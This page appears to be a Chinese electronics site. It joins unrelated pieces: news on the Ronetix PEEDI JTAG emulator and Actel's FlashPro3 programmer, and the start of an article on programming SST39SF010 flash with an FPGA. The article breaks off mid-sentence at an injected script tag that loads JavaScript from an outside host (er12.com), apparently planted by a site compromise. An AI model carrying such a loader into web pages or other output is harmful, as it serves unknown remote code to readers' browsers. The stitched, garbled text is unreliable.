ARM 内核仿真器集成了仿真器和闪存编程器

ronetix公司的peedi是一种高速低成本jtag仿真器,可用于具有embeddedice的arm7和arm9处理器内核。它具有gcc编译器和gcb调试器等gnu五金|工具,还集成了内置闪存编程器、硬件和软件断点,可具有复位控制和远程复位检测等功能。

  peedi的下载速度达400kbps,时钟速率为5khz至33mhz,电压为1.2v至5v。该仿真器的内置闪存编程器可使用750个器件,它采用前面板控制的mmc/sc存储器卡存储9个图片,还可作为闪存编程和调试的telnet服务器。此外,peedi可跟踪与tcp/ip端口连接的rs-232端口,以及arm的调试通讯通道。它还可以在上电时自动初始化处理器,rs-232端口可启动处理器复位。

actel公司宣布推出低成本的器件编程器和启动工具套件,支持其新推出以flash为基础的proasic3和proasic3e现场可编程门阵列 (fpga) 系列。

新的便携式flashpro3编程器与高速usb 2.0规格兼容,可为新器件提供低成本和全速的编程功能。actel崭新的proasic3启动工具套件能让设计者检验、设计和编程非挥发性proasic3/e器件,亦即业界最低成本的fpga方案。flashpro3编程器和proasic3启动套件专为支持单芯片proasic3/e器件而设计,可充分发挥该器件独特的结构特性。利用这些工具,工程人员可以采用aes加密检验安全的系统内可编程性 (isp)。

actel 反熔丝产品和工具市务总监saloni howard-sarin称:“actel第三代以flash为基础的proasic3/e器件拥有全线低成本的硬件支持工具包,能让客户轻易地开始为其成本敏感的应用进行设计。全新的flashpro3编程器与usb 2.0保持兼容,使到客户可在少于30秒内完成对proasic3方案的编程,而低成本的proasic3启动套件则让用户快速实现这一新型非挥发性fpga所提供的独特优势,包括isp和优化的安全特性。”

1 引言

  闪速存储器(flash memory)以其集成度高、成本低、使用方便等许多优点,广泛应用于通讯设备、办公设备、家用电器、医疗设备等领域。利用其保存信息的非易失性和在线更新数据参数的特性,可将其作为具有一定灵活性的只读存储器(rom)使用。

  现在的数字电路应用系统设计中,经常遇到大容量的数据存储问题。flash由于容量大、存储速度快、体积小、功耗低等诸多优点,而成为应用系统中数据存储器件的首选。由于在研制实时信号处理系统时,需要一块大容量的flash来存储坐标变换的数据作查找表,因此面临一个如何对flash进行编程,将数据写入flash的问题。由于我们选用的flash芯片为sst39sf010/020,是最新生产的型号,需要自己开发编程器来满足设计需要,达到既经济又实用的目的。这一型号的flash采用的是标准的5v电压供电,器件在命令控制下自己产生内部的擦除电压vpp,从而完成数据的写入和芯片的擦除等各种功能。而fpga这种大规模的可编程器件十分适合逻辑电路的设计,能方便地控制和产生 flash编程操作中的各种控制命令,实现编程器的功能。

  2 flash的性能参数和操作时序

  以最新的flash芯片型号sst39sf010/020为例,容量为1/2mbit(×8)。

  它的主要性能有:

● 单一的5.0v电压读写操作;

● 高可靠性,超过100年的数据保持能力;

● 快速擦除和字节编程功能

——扇区擦除时间典型值只需7ms;

——片擦除时间典型值只需15ms;

——字节编程需时间典型值只需20微秒;

——片重写时间需3ms(sst39sf010)

● 片内部产生vpp编程电压,实现自动读写时序;

● i/o兼容ttl;

  各引脚功能:

ams~a0:地址输入 ——提供存储器地址;

dq7~dq0:数据输入/输出 ——在读时序时输

  出数据,在写时序时接收输入的数据;

ce#:片选使能——当ce#为低电平有效;

oe#:输出使能——选通输出缓存器;

we#:写使能——控制写时序;

vdd:接5v电源|稳压器;

vss:接地。

  在对flash进行编程操作前,必须保证存储单元为空。如果不为空,就必须先对flash芯片进行擦除操作。由于flash采用了模块分区的阵列结构,使得各个存储模块既可以整个芯片一齐被擦除,还可以使各个存储模块被独立的分别擦除。只需在地址和数据端写入不同的操作命令即可实现不同的擦除操作。

  sst39sf010的编程操作分三步骤:第一步是连续载入三字节命令的软件数据保护操作,第二步是写入字节地址和字节数据,在编程操作过程中,地址是在ce#或we#的下降沿时有效,而数据则是在ce#或we#的上升沿时有效;第三步是芯片内部的编程操作,该操作在ce#或we#的第四个上升沿有效,随后该内部编程操作在30微秒内即可完成。这部分的时序如图所示。

  flash的编程操作是自动字节操作,编程时要?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:新闻动态